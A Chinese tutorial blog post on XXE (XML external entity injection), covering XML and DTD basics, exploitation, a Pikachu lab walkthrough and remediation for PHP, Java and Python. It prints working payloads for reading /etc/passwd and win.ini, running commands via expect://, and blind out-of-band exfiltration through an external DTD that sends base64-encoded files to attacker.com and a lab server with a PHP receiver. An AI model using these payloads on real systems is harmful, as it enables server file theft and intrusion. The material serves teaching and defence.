当前位置: 首页 > news >正文

深入理解XXE外部实体注入漏洞:原理、利用与防护

深入理解XXE外部实体注入漏洞:原理、利用与防护

前言

在现代Web应用中,XML(可扩展标记语言)因其良好的结构性和可扩展性,被广泛用于数据传输与存储。然而,当XML解析器对外部实体的加载缺乏限制时,就可能引发XXE(XML External Entity Injection,外部实体注入)漏洞。这一漏洞看似隐蔽,却能导致读取服务器任意文件、执行系统命令、扫描内网端口等严重安全问题。本文将从XML基础出发,详细解析XXE漏洞的原理、利用方式及防护措施,帮助开发者和安全人员全面掌握这一风险点。

一、XML基础:从语法到实体

要理解XXE漏洞,首先需要掌握XML的核心概念,包括其语法特征、文档类型定义(DTD)及实体机制。

1. XML的特征与语法

XML是一种标记语言,其核心特征包括:

  • 必须有唯一的根节点,且标签需严格闭合;
  • 标签名称大小写敏感,且不能以特殊符号(除_-外)开头;
  • 可包含XML声明(如<?xml version="1.0" encoding="UTF-8"?>),但非必需。

示例如下:

<?xml version="1.0" encoding="UTF-8"?>
<A> <!-- 根节点 --><name>test</name> <!-- 子节点,标签严格闭合 --><age>20</age>
</A>

XML的主要作用是数据传输(如API接口数据交换)和数据存储(如配置文件)。

2. XML文档结构:DTD与实体

XML的文档结构由DTD(Document Type Definition,文档类型定义)约束,DTD用于定义XML文档的合法元素、属性及关系。同时,XML支持“实体”机制,实体可理解为“变量”,用于存储可复用的数据。

(1)DTD的两种形式

DTD分为内部DTD和外部DTD,用于规范XML文档的结构。

  • 内部DTD:直接在XML文档中定义,格式如下:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE user [ <!-- 定义文档类型为user --><!ELEMENT user (username,password)> <!-- 定义user包含username和password子元素 --><!ELEMENT username (#PCDATA)> <!-- username为可解析文本 --><!ELEMENT password (#PCDATA)> <!-- password为可解析文本 -->
    ]>
    <user><username>zhangsan</username><password>123456</password>
    </user>
    
  • 外部DTD:定义在外部文件中,通过SYSTEM关键字引入,格式如下:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE user SYSTEM "1.dtd"> <!-- 引入外部1.dtd -->
    <user><username>zhangsan</username><password>123456</password>
    </user>
    

    其中1.dtd内容为:

    <!ELEMENT user (username,password)>
    <!ELEMENT username (#PCDATA)>
    <!ELEMENT password (#PCDATA)>
    

    设置不允许加载的时候,加载会出错:
    在这里插入图片描述
    开启后可以正常加载:(由于浏览器的限制,无法加载)
    在这里插入图片描述

(2)XML实体的分类

实体是XML中用于存储数据的“变量”,分为普通实体和参数实体,且支持内部定义和外部引用。

  • 普通实体:直接定义并在XML元素中使用,格式为<!ENTITY 实体名 "值">,引用时用&实体名;

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE user [<!ENTITY s "zhangsan"> <!-- 定义普通实体s --><!ENTITY p "123456">
    ]>
    <user><username>&s;</username> <!-- 引用实体s --><password>&p;</password>
    </user>
    
  • 外部实体:引用外部资源(如文件、URL),格式为<!ENTITY 实体名 SYSTEM "资源路径">

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE any [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> <!-- 引用本地文件 -->
    ]>
    <data>&file;</data> <!-- 引用外部实体,读取文件内容 -->
    
  • 参数实体:仅在DTD中使用,格式为<!ENTITY % 实体名 "值">,引用时用%实体名;,常用于外部DTD的嵌套引用。

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE any [<!ENTITY % ext SYSTEM "http://attacker.com/evil.dtd"> <!-- 引入外部参数实体 -->%ext; <!-- 引用参数实体 -->
    ]>
    
(3)支持的协议

不同XML解析器支持的协议不同,常见协议如下:

解析器/语言支持的主要协议
libxml2file、ftp、http
PHPfile、http、ftp、php://filter(文件编码)、expect://(执行命令,需扩展支持)
Javahttp、https、ftp、file、jar
.NETfile、http、https、ftp

二、XXE漏洞详解

XXE漏洞的本质是:XML解析器未禁用外部实体加载,导致攻击者可构造恶意XML文档,通过外部实体引用读取敏感文件、执行命令或探测内网。

1. 漏洞触发条件

XXE漏洞的触发需满足两个条件:

  1. 应用程序会解析用户提交的XML数据;
  2. XML解析器未禁用外部实体加载(如PHP中libxml_disable_entity_loader默认值为true,需手动设为false才允许加载外部实体)。

2. 漏洞产生原因

当应用程序对用户上传或提交的XML数据缺乏过滤时,攻击者可注入恶意外部实体定义,从而利用解析器的外部资源加载能力执行攻击。

3. 漏洞危害与利用方式

XXE漏洞的危害范围较广,主要包括以下场景:

(1)读取任意文件

通过外部实体引用本地文件路径,可读取服务器敏感文件(如配置文件、密码文件等)。

  • 直接读取(内部DTD)
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE any [<!ENTITY file SYSTEM "file:///etc/passwd"> <!-- Linux系统用户文件 -->
    ]>
    <data>&file;</data>
    

在这里插入图片描述

  • 外部DTD+参数实体读取
    攻击者服务器放置evil.dtd
    <!ENTITY s SYSTEM "file:///c:/windows/win.ini"> <!-- 目标文件路径 -->
    
    恶意XML payload:
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE any [<!ENTITY % ext SYSTEM "http://attacker.com/evil.dtd"> <!-- 引入外部DTD -->%ext; <!-- 引用参数实体 -->
    ]>
    <user><username>&s;</username></user> <!-- 引用实体s,输出文件内容 -->
    
(2)执行系统命令

若XML解析器所在环境支持expect://协议(如PHP安装expect扩展),可通过外部实体执行系统命令。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any [<!ENTITY cmd SYSTEM "expect://ls -al"> <!-- 执行ls命令 -->
]>
<data>&cmd;</data>

注:命令中的空格可用${IFS}替换(如ls${IFS}-al)。

(3)内网端口扫描

利用外部实体引用内网IP和端口,通过解析超时时间判断端口是否开放(开放端口响应快,关闭端口超时)。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any [<!ENTITY port SYSTEM "http://192.168.1.1:80"> <!-- 探测内网192.168.1.1的80端口 -->
]>
<data>&port;</data>

在这里插入图片描述

(4)无回显XXE的利用

当漏洞触发后无直接回显时,可通过“外带数据”方式将结果发送至攻击者控制的服务器。

攻击流程

  1. 攻击者服务器放置1.dtd(用于定义数据外带逻辑):
    <!ENTITY % a "<!ENTITY &#37; send SYSTEM 'http://attacker.com/log.php?data=%file;'>">
    %a; <!-- 定义send实体,将file内容发送到log.php -->
    
  2. 攻击者服务器放置log.php(用于接收并保存数据):
    <?php
    file_put_contents('leak.txt', $_GET['data']); // 将接收的数据存入文件
    ?>
    
  3. 构造恶意XML payload:
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE any [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!-- 读取文件并Base64编码 --><!ENTITY % ext SYSTEM "http://attacker.com/1.dtd"> <!-- 引入外部DTD -->%ext; <!-- 引用参数实体 -->%send; <!-- 触发数据外带 -->
    ]>
    
  4. 目标服务器解析XML后,会将/etc/passwd的Base64编码内容发送至log.php,攻击者从leak.txt中获取数据并解码。

三、XXE漏洞的修复与防护

XXE漏洞的防护核心是禁用外部实体加载过滤恶意XML内容,具体措施如下:

1. 禁用外部实体加载

  • PHP:使用libxml_disable_entity_loader(true)禁用外部实体:

    <?php
    libxml_disable_entity_loader(true); // 关键:禁用外部实体加载
    $xml = simplexml_load_string($_POST['xml_data']);
    ?>
    
  • Java:设置DocumentBuilderFactory的属性禁用外部实体:

    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 禁用DTD
    
  • Python:使用lxml库时禁用外部实体:

    from lxml import etree
    parser = etree.XMLParser(resolve_entities=False) # 禁用实体解析
    etree.fromstring(xml_data, parser)
    

2. 过滤恶意内容

对用户提交的XML数据进行严格过滤,禁止包含以下敏感内容:

  • DTD相关关键字:<!DOCTYPE<!ENTITYSYSTEMPUBLIC
  • 危险协议:file://http://ftp://expect://php://等。

3. 代码审计关注点

在代码中搜索可能解析XML的函数,确认是否禁用了外部实体:

  • PHP:simplexml_load_string()simplexml_import_dom()libxml_disable_entity_loader(false)
  • 请求头特征:Accept: application/xmlContent-Type: text/xml(提示应用可能处理XML数据)。

四、靶场测试实践

1.pikachu靶场

在漏洞测试中,可按以下步骤验证XXE漏洞:

  1. 判断是否使用XML:通过请求头(如Accept: application/xml)或参数格式(自定义标签)判断应用是否处理XML。
    在这里插入图片描述

  2. 触发报错验证:构造错误的XML格式(如缺失闭合标签),观察是否返回XML解析错误,确认解析器存在。

在这里插入图片描述

  1. 读取文件测试:构造包含外部实体的XML payload,尝试读取已知文件(如/etc/passwdc:/windows/win.ini),检查是否返回文件内容。

在这里插入图片描述

例如,在Pikachu靶场中,构造如下payload可读取c:/windows/win.ini

<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY file SYSTEM "file:///c:/windows/win.ini">
]>
<test>&file;</test>

2.没有回显的XXE漏洞利用方式

1 原理部分

首先是可以使用php://协议将源代码通过base64编码的方式读取出来

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY s SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<user><username>&s;</username><password>11111</password></user>

在这里插入图片描述

http://xxxx.com/1.php?get=%s

攻击过程:

三方服务器放置:需要将以下文件放入一个外部的dtd中:

http://192.168.61.249/xxe/1.dtd

<!ENTITY % canshu STSTEM "http://xxxx.com/1.php?get=%s">让1.php去接受%s传递的网页编码后的源代码
需要把以上dtd内容当做一个参数传递:
完整的外部dtd代码如下:<!ENTITY % a "<!ENTITY &#37; send SYSTEM 'http://三方IP/xxe/xxe.php?get=%file;'>">
%a;

在这里插入图片描述

三方服务器放置:1.php充当一个获取文件并保存的工具:

http://192.168.61.249/xxe/xxe.php

<?php
file_put_contents('xxx1.txt',$_GET['get']);
?>

在这里插入图片描述

攻击payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
<!ENTITY % s  SYSTEM "http://192.168.61.249/xxe/1.dtd">
%s;
%send;
]>

三方服务器收到xxx1.txt记录base64编码的页面源代码:

在这里插入图片描述

另外一种不存储在本地的方法:

配置部分不变,修改请求的三方dtd文件,不在传入一个php文件中。传递的结果会存放在请求日志或者记录中:

在这里插入图片描述

或者在log文件中

在这里插入图片描述

3.代码计部分

simplexml_load_string() 
simplexml_import_dom() 
libxml_disable_entity_loader(false); 以上三个函数时用来开启XML外部实体的。找的时候
Accept: application/xml, text/xml
Accept: text/html,application/xhtml+xml,application/xml;

pikachu:

<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE suibian[
<!ENTITY a SYSTEM "file:///c:/windows/win.ini"> <!--三个斜杠-->]>
<suibian>&a;</suibian>

在这里插入图片描述

总结

XXE漏洞作为XML解析过程中的典型安全风险,其危害涵盖文件读取、命令执行、内网探测等多个维度。掌握XML的DTD与实体机制是理解XXE的基础,而禁用外部实体加载和过滤恶意内容则是防护的核心手段。

在实际开发中,应始终保持“不信任用户输入”的原则,对XML解析器进行严格配置,避免因疏忽导致安全漏洞。同时,安全人员需熟悉XXE的各种利用方式(包括无回显场景),通过靶场练习和代码审计提升漏洞识别与修复能力,从而有效防范这一隐患。

http://www.dtcms.com/a/549597.html

相关文章:

  • 用 CTE 重构嵌套子查询:让复杂报表 SQL 可读性提升 80%
  • 做阿里云网站的公司吗南昌做网站后台投票
  • Docker 容器命令深度解析:从docker run到docker ps的精通之路
  • 开源自动驾驶平台全景:超越Autoware和Apollo
  • 深入JVM:让Java性能起飞的核心原理与优化策略
  • RFID 技术赋能汽车制造:发动机气缸缸体生产线智能化升级案例
  • Java Excel页面设置配置指南
  • 网站集约化建设做法ecommercial+wordpress
  • C#:调试附加到进程
  • Redis哈希槽
  • SAP PP BOM查询报表分享
  • 国内 扁平化 网站坂田杨美企业网站建设
  • 抖音火花任务自动化脚本
  • 从入门到实践:Linux 基础学习(xshell)
  • 《URP管线主导的角色材质、阴影与显存动态适配优化方案》
  • TensorFlow深度学习实战——自定义图数据集
  • Flutter 3.29.0 使用RepaintBoundary或者ScreenshotController出现导出图片渲染上下颠倒问题
  • Flutter---个人信息(4)---实现修改生日日期
  • 不止于加热:管式炉在材料科学与新能源研发中的关键作用
  • 深圳网站建设方案优化深圳发布广告的平台有哪些
  • Go语言中json.RawMessage
  • Pytorch常用函数学习摘录
  • 个人什么取消网站备案铭万做的网站怎么样
  • 2025-10-30 ZYZOJ Star(斯达)模拟赛 hetao1733837的record
  • 百胜中台×OceanBase:打造品牌零售降本增效的数字核心引擎,热门服饰、美妆客户已实践
  • 深度学习调试工具链:从PyTorch Profiler到TensorBoard可视化
  • 不可变借用的规则与限制: 从只读语义到零拷贝架构的 5 000 字深潜
  • 专题三 之 【二分查找】
  • C++进阶: override和final说明符-----继承2中重写的确认官和刹车(制动器)
  • 数据科学每日总结--Day7--数据库